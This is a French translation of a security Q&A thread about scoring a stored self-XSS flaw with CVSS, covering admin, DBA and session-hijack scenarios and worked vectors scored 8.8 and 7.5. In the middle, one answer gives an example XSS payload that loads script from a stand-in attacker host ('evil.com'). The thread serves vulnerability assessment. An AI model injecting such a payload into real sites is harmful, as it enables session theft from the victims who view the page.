Score CVSS pour auto-XSS (XSS stocké)
J'ai une application Web vulnérable aux attaques auto-XSS stockées. Un encodage correct n'est pas effectué à l'endroit où les données d'une base de données (définies par le même utilisateur) sont ajoutées à la réponse.
Cependant, ce XSS peut être considéré comme non auto-XSS (XSS stocké) dans les conditions suivantes:
- L'utilisateur administrateur ajoute du contenu malveillant dans le profil de l'utilisateur.
- Si quelqu'un peut modifier la base de données d'une autre manière.
- Aussi si quelqu'un peut voler les cookies d'un utilisateur (détournement de session).
Lors du calcul du score CVSS, nous avons les préoccupations suivantes:
- Faut-il supposer que les données malveillantes sont déjà stockées dans la base de données ou non?
- Si nous le supposons, le score CVSS augmentera, car la complexité de l'obtention de la charge utile XSS dans la base de données n'est pas prise en compte.
- Sinon, en raison de la complexité et des privilèges élevés requis pour effectuer une attaque XSS stockée (sans être simplement un auto-XSS), le score CVSS diminuera.
Quelle est la pratique courante pour ce type de scénario lors du calcul du score CVSS?
Dans ces deux scénarios:
- Si quelqu'un peut modifier la base de données d'une autre manière.
- Aussi si quelqu'un peut voler les cookies d'un utilisateur (détournement de session).
Un attaquant aurait déjà accès à la session de l'utilisateur. Ils auraient besoin d'exploiter une vulnérabilité pour arriver à ce point, mais à ce stade, la session est déjà compromise, donc l'impact supplémentaire est nul.
Ce scénario:
- L'utilisateur administrateur ajoute du contenu malveillant dans le profil de l'utilisateur.
Cela dépend un peu de la conception du système, mais la plupart des systèmes permettent aux administrateurs d'avoir accès aux profils des utilisateurs, par exemple en effectuant une réinitialisation du mot de passe. Donc, dans la plupart des systèmes, l'impact supplémentaire ici est nul.
Si vous utilisez une calculatrice CVSS v , et définissez les impacts CIA sur aucun, peu importe la façon dont vous définissez les autres valeurs, la sortie est 0,0. C'est pourquoi self-XSS est généralement considéré comme une question de bonnes pratiques uniquement et non comme une vulnérabilité.
Une chose à savoir est le CSRF. Si le point d'injection auto-XSS est vulnérable à CSRF, alors c'est une vulnérabilité.
• L'utilisateur administrateur ajoute du contenu malveillant dans le profil de l'utilisateur.
En fonction de la puissance déjà existante, un utilisateur administrateur a ajouté un gadget XSS peut ne pas lui accorder plus de privilèges, donc l'intégrité et la confidentialité sont au mieux faibles.
• Si quelqu'un peut modifier la base de données d'une autre manière.
C'est similaire ou même plus extrême, la personne qui peut modifier la base de données dispose généralement déjà de tous les privilèges.
• Aussi si quelqu'un peut voler les cookies d'un utilisateur (détournement de session).
Il s'agit d'un risque de confidentialité et (s'il est exploitable) d'intégrité. Cependant, cela dépend de qui est la personne et de ses privilèges (c'est-à-dire différent des deux groupes ci-dessus).
Généralement, la situation la plus critique pour un XSS persistant est si un utilisateur normal peut inciter un administrateur à visiter le contenu malveillant et ainsi extraire (et utiliser) une session d'administration. La deuxième gravité est quand une utilisation peut détourner un autre utilisateur non privilégié de cette façon. Bien qu'il soit courant d'ignorer les administrateurs (une fois qu'ils peuvent directement modifier le code HTML), cela dépend des privilèges que vous souhaitez leur accorder. Self-XSS peut également être un problème si vous pouvez (CSRF) inciter l'utilisateur à ajouter la charge utile malveillante (ce qui est courant pour XSS réfléchi).
• Faut-il supposer que les données malveillantes sont déjà stockées dans la base de données ou non?
En général, vous supposez que le dommage est fait oui, mais dans votre cas spécifique (administrateur ou dba), vous ne pouvez pas du tout considérer cela comme une élévation de privilèges.
• Si nous supposons que oui, le score CVSS augmentera, car la complexité d'obtenir la charge utile XSS dans la base de données n'est pas prise en compte.
L'attaque obtient le contenu là-bas, c'est ce que décrit la complexité. Il serait bas pour un administrateur ou un dba s'il suffit de le taper (la connaissance de la structure dB doit être supposée comme donnée selon les spécifications CVSS).
La question contient en fait deux scénarios: un utilisateur à faible privilège XSS 'et un utilisateur à haut privilège XSS' un utilisateur à faible privilège.
"Self-XSS" à faible privilège
Self-XSS est souvent considéré comme "pas un problème", bien que ce soit à courte vue. Bien que cela ne soit évidemment pas un problème, vous ne savez jamais si les exigences changent.
Par exemple, si l'utilisateur peut créer un XSS sur son propre profil, qui n'est visible que pour lui, vous pourriez penser que ce n'est pas un problème. Un an plus tard, une fonctionnalité est mise en œuvre qui permet aux administrateurs de visualiser un profil, et soudain, vous avez un XSS qui vole les jetons de session des comptes d'administrateur.
Afin d'évaluer le score CVSS, analysons chaque catégorie:
- Vecteur d'attaque (AV): Il s'agit sans aucun doute de "Réseau (N)". L'attaquant n'a pas besoin d'avoir un accès direct au serveur pour le faire.
Complexité d'attaque (AC): Cela dépend de votre scénario spécifique, mais généralement la complexité est plutôt faible. Citer:
Il n'existe pas de conditions d'accès spécialisées ou de circonstances atténuantes. Un attaquant peut s'attendre à un succès reproductible contre le composant vulnérable.
En d'autres termes, si l'attaquant entre
"><script src="//evil.com/payload.js, la charge utile sera injectée à chaque fois.Privilèges requis (PR): Cette partie est fréquemment débattue. Si un attaquant a besoin d'un compte d'utilisateur, mais que tout ce qu'il doit faire pour en obtenir un est d'en créer un, cela réduit-il vraiment la métrique? Certaines personnes disent que PR décrit les privilèges dont ils ont besoin pour obtenir du défenseur, soit en volant des informations d'identification, soit en exploitant une vulnérabilité pour exécuter des actions en tant qu'utilisateur privilégié. D'autres disent qu'il s'agit uniquement du fait qu'un utilisateur a besoin de privilèges, que ces privilèges soient faciles à obtenir ou non.
J'appartiens personnellement à l'ancienne catégorie, donc je dirais que c'est "Aucun (N)", bien que je comprenne les gens qui soutiennent cela comme "Faible (L)". Notez que je a également créé une question sur ce sujet .
Interaction utilisateur (UI): Oui, l'administrateur doit visiter le profil de l'attaquant pour que l'attaque réussisse.
Portée (S): Dans ce cas, la portée a changé, car le composant vulnérable est le serveur Web, tandis que le composant impacté est le navigateur de la victime. Ce raisonnement est tiré de Exemple CVSS v3. .
Confidentialité (C): Encore une fois, cela dépend de la façon dont vous le voyez. Personnellement, je dirais que la perte de confidentialité est "élevée (H)", car l'accès au jeton de session d'un administrateur est une grave violation.
Intégrité (I): Personnellement, je dirais que l'impact est "faible (L)". Si l'attaquant peut en effet utiliser sa charge utile pour modifier le site, ce n'est généralement pas le but d'une attaque XSS.
Disponibilité (A): Encore une fois, je dirais de le régler sur "Faible (L)". Un attaquant pourrait créer une charge utile qui ne ferait que rediriger l'utilisateur hors du site, affectant ainsi la disponibilité, mais ce n'est généralement pas l'objectif.
Si nous ajoutons tout cela ensemble, nous obtenons la chaîne vectorielle suivante:
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L- 8,8 (Élevé)
XSS à privilèges élevés
Au lieu de supposer qu'un utilisateur "piégerait" son propre profil, supposons plutôt qu'un administrateur modifie les profils de chaque utilisateur, donc si un utilisateur regarde son propre profil, la charge utile se déclenche.
La seule chose qui changerait vraiment est Privilèges requis (PR) , qui serait réglé sur "High (H)".
Il en résulterait le vecteur suivant:
CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L- 7,5 (Élevé)
En regardant ces résultats, vous pouvez voir que CVSS ne prend pas en compte les probabilités, ce que certains pourraient considérer comme une faille, mais cela est hors de portée pour cette question.
Maintenant, pour répondre à certaines de vos questions:
Faut-il supposer que les données malveillantes sont déjà stockées dans la base de données ou non?
CVSS ne vous demande pas où les données sont stockées. Cela n'a aucune incidence sur le score.
Si nous le supposons, le score CVSS augmentera, car la complexité de l'obtention de la charge utile XSS dans la base de données n'est pas prise en compte.
Encore une fois, le score dépend des vecteurs choisis. Rien de tout cela ne concerne l'endroit où les données sont stockées.
Sinon, en raison de la complexité et des privilèges élevés requis pour effectuer une attaque XSS stockée (sans être simplement un auto-XSS), le score CVSS diminuera.
Les privilèges élevés requis diminueront votre score, mais pas autant. Même lorsqu'un compte administratif est requis, une simple vulnérabilité XSS est considérée comme une 7.5.